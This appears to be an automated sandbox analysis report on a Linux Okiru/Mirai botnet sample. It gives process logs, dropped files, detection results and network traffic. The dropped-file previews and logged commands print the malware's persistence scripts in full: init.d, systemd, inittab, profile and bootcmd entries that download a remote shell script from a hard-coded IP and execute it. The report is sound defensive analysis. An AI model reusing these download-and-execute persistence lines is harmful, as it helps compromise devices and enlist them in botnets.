Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5521/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5519/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5533/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5599/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5610/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5534/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5611/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5535/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5612/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5536/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5515/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5537/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5538/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5539/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5594/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5595/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5530/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5596/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5531/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5597/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5532/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5598/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5607/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5608/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5609/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5522/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5523/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5600/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5524/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5601/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5525/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5602/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5526/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5603/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5527/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5604/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5528/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5605/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5529/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5606/status	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5454)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5483)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5485)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5487)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5488)	Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5490)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5492)	Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5484)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 5489)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh			Jump to behavior

Source: /bin/sh (PID: 5491)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 5466)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5444)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5484)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5489)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5444)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/x86_32.nn.elf (PID: 5444)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5487)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sh	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_32.nn.elf (PID: 5444)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 5487)	File: /etc/init.d/sh			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match	File source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_32.nn.elf PID: 5444, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match	File source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_32.nn.elf PID: 5444, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
x86_32.nn.elf	21%	ReversingLabs	Linux.Backdoor.Mirai
x86_32.nn.elf	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
/etc/init.d/sh	3%	ReversingLabs	Text.Browser.Generic
/etc/init.d/system	3%	ReversingLabs	Text.Browser.Generic
/etc/rc.local	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://94.156.227.233/lol.sh	x86_32.nn.elf, 5444.1.00000000ffae6000.00000000ffb07000.rw-.sdmp	false	high
http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s	x86_32.nn.elf	false	high
http://94.156.227.233/	x86_32.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh.30.dr, bootcmd.12.dr, custom.service.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.156.227.234	unknown	Bulgaria		57463	NETIXBG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
94.156.227.234	mipsel.nn.elf	Get hash	malicious	Okiru	Browse
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse
	sparc.nn.elf	Get hash	malicious	Okiru	Browse
	arm7.nn-20241224-0652.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm.nn-20241224-0652.elf	Get hash	malicious	Okiru	Browse
	mips.nn.elf	Get hash	malicious	Okiru	Browse
	arm5.nn.elf	Get hash	malicious	Okiru	Browse
	sh4.nn.elf	Get hash	malicious	Okiru	Browse
	mips.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm.nn-20241224-0652.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	splarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jklarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	arm6.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETIXBG	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	sparc.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm7.nn-20241224-0652.elf	Get hash	malicious	Mirai, Okiru	Browse	94.156.227.234
	arm.nn-20241224-0652.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	mips.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm5.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	mips.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/sh	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.663595298101345
Encrypted:	false
SSDEEP:	3:KPJRK+KFtSyLdjX48FIbILbaaFOdFXa5O:WJ8+KHSYZX48bbaaeXCO
MD5:	3290F4F4E0B77B577C59026DEF246CEE
SHA1:	C51EAE7170430B5697B881BE716280D1FAAA9147
SHA-256:	534E1753E7B5026C5F689F31942BD84E7869232A5CE24AE02B0A9647B3E2EDCD
SHA-512:	DFE561F390A0003C92D0528D418CADA2A84DD4585F838F4A37BDD1790C8B7E947AFD31B527E4F98AD55F49F4168F4574540CCFF2D2EE38BD2A3923DEB9FE6345
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	run bootcmd_mmc0; /bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/sh

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	355
Entropy (8bit):	4.416220583499086
Encrypted:	false
SSDEEP:	6:h2Rk8d/Kd6Nx/SNAjDTZX48bJaJFCwWBvM1FnwfUMdNfabwHeJdxL/RuYHdSOovl:QRkobNxaNoPUJgjvM1F5KN+dRRucSOyl
MD5:	4C835AF4434E28E5B56D8CDFA8EE753D
SHA1:	B18DA30B2DF68AE4C788540CED328CA545C02F42
SHA-256:	CA0FAC03BB49D9F40E83353A3C85D27B8AD800B8A77F88D1B43025148672E28D
SHA-512:	877B96464C5D6AF38B84F8BE6ECDDA74A9703AA298A897B2EF8DEC9E9B929ECA2E8324979A80033B0E334820B15275E51C1E60EC5A26A7B379A2D8DA5BAC6162
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.# /etc/init.d/sh..case "" in. start). echo 'Starting sh'. /bin/sh &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping sh'. killall sh. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/system

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.615605979741142
Encrypted:	false
SSDEEP:	3:TKH4v9+KFyFiLdjX48FIbILpaKB0dFLoKE0:h8KooZX48bzBeLXE0
MD5:	FE7F857A52EC42881A76D01D4A4A1C3C
SHA1:	6391FE715F06AB2D7E58D18A41ED3A358C7E820C
SHA-256:	20B80070DF0EDB6A011753C41051823E2F87C46A5493D6323BB5C023A19D2870
SHA-512:	4AA09F596ACE2DA18FE88DA2224681EAB2A4F77D005E2C67E97E9A0751C387F8DCCD8D1BB05644D75ED2F42959B6EE491D292F80CFEBB5D80EA5F0CE84C47816
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh./bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.612417623467759
Encrypted:	false
SSDEEP:	3:nAWu5YFtSyLdjX48FIbILbaaFOdFXa5O:A6HSYZX48bbaaeXCO
MD5:	175C6814BBE06EB5816EFE3FE3934230
SHA1:	8C1A49BF7CA134E8AD0DDA70872367062BC600C5
SHA-256:	11CB198833B5FB514AF33682A7148F95AA28CAEA16908A27FA10D71DD272730E
SHA-512:	C1A6BC79D50EEED397A98329E7A2CD7486CBB36F9D3B25AEADA15473D10C31FC2F44D2029F5A174FC813E3BB6B974174850989BF2ADD642F4CD4F1D279B6B1F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	::respawn:/bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.486383977913608
Encrypted:	false
SSDEEP:	3:pKWNFyFiLdjX48FIbILbaaFOdFXa50:kKooZX48bbaaeXC0
MD5:	CEC61C0CDC61AB271C45B85281469388
SHA1:	E2DC08B86AC16A6A9BDA73D26DE0055528C647D9
SHA-256:	AE69256D9ACCEE8C05AFBF46267368A0DDB3E5C9C54D24CFB018A35FEF86C560
SHA-512:	71A65EB5CBBD53E395E8A2B392CB41E289874583C4A17E086498201C6078E5043B680B4971D1913863B2699626F05F63B0936BAFCE9A8F01C6DBAFEE5E93F2A7
Malicious:	true
Preview:	/bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.064804988275458
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+Gs2+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+y+GWRdtd+GWRXY+GWRuL1I
MD5:	8156A50E9D158639626649BD134E7D5D
SHA1:	D95D108656621F4B4F82B93CA0694D66F4A2FEF4
SHA-256:	FB7F3B6DA55120E08AB0B9A9F4A9ECB1BB5D89BFD665EBE23C150FBFBC06E4D8
SHA-512:	DB79A871E5317E3B9A93FF84E71318F5ABC85EBDE7C9521DF35C20C0AD8251BEB3DB33673BE4F4FF2501256613C50128BA36323C0DECD348FF6CA8A73856BE10
Malicious:	false
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/bin/sh.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.482863704273549
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	x86_32.nn.elf
File size:	79'312 bytes
MD5:	3f1efbfbb79821f4bd17c6a3eff17aa6
SHA1:	a5dfcdc1874352b921f819cd6f39beef6f7b3c79
SHA256:	97cbb9e7d92cfaeb3173bc135b4459d4b91d1b5cb69dd7d61ee830c239545565
SHA512:	7470bd7d9ca66ce7eb9fff610efa3d07aa411020e9e1045e2108079a5cbbde634ee709efa89c64799be09fb37b8936343f7936da3beda22b4fbc3223ec7aa101
SSDEEP:	1536:pozGqITKhN63JFSBFIeRyUpGjiOkAho/swKaIdV/8FjjKQ2BaK3SKs8:GzGq2KhNCJFSBFIeRyU3gokwKaIdZ8V0
TLSH:	27735CC0EA83E9F1EA461175153BA73ACF72F5BD1134EA17DB68A933F942600D61638C
File Content Preview:	.ELF....................d...4...@4......4. ...(.....................<)..<)...............0...............)..........Q.td............................U..S.......w/...h........[]...$.............U......=.....t..5....$......$.......u........t....h<...........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	78912
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x102f6	0x0	0x6	AX	16
.fini	PROGBITS	0x80583a6	0x103a6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x80583c0	0x103c0	0x257c	0x0	0x2	A	32
.ctors	PROGBITS	0x805b000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805b008	0x13008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805b020	0x13020	0x3e0	0x0	0x3	WA	32
.bss	NOBITS	0x805b400	0x13400	0x25e0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x13400	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x1293c	0x1293c	6.5849	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x13000	0x805b000	0x805b000	0x400	0x29e0	5.3362	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 10:42:48.890645981 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:49.010598898 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:49.010701895 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:49.010701895 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:49.130623102 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:49.560807943 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:49.720568895 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:50.137111902 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:50.137274981 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:50.565603018 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:50.685425997 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:50.685484886 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:50.685509920 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:50.805109978 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:51.203089952 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:51.368701935 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:51.808747053 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:51.808815002 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:52.204793930 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:52.324412107 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:52.324503899 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:52.324503899 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:52.445065022 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:52.910372972 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:53.076626062 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:53.453605890 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:53.453718901 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:53.911396027 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:54.031095028 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:54.031188011 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:54.031188965 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:54.151470900 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:54.535233974 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:54.696697950 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:55.162851095 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:55.162915945 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:55.536108971 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:55.657978058 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:55.658071995 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:55.658135891 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:55.777621031 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:56.161966085 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:56.324630022 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:56.798191071 CET	38242	44554	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:56.798281908 CET	44554	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:57.163001060 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:57.282567978 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:57.282650948 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:57.282691956 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:57.402352095 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:57.787094116 CET	44556	38242	192.168.2.13	94.156.227.234
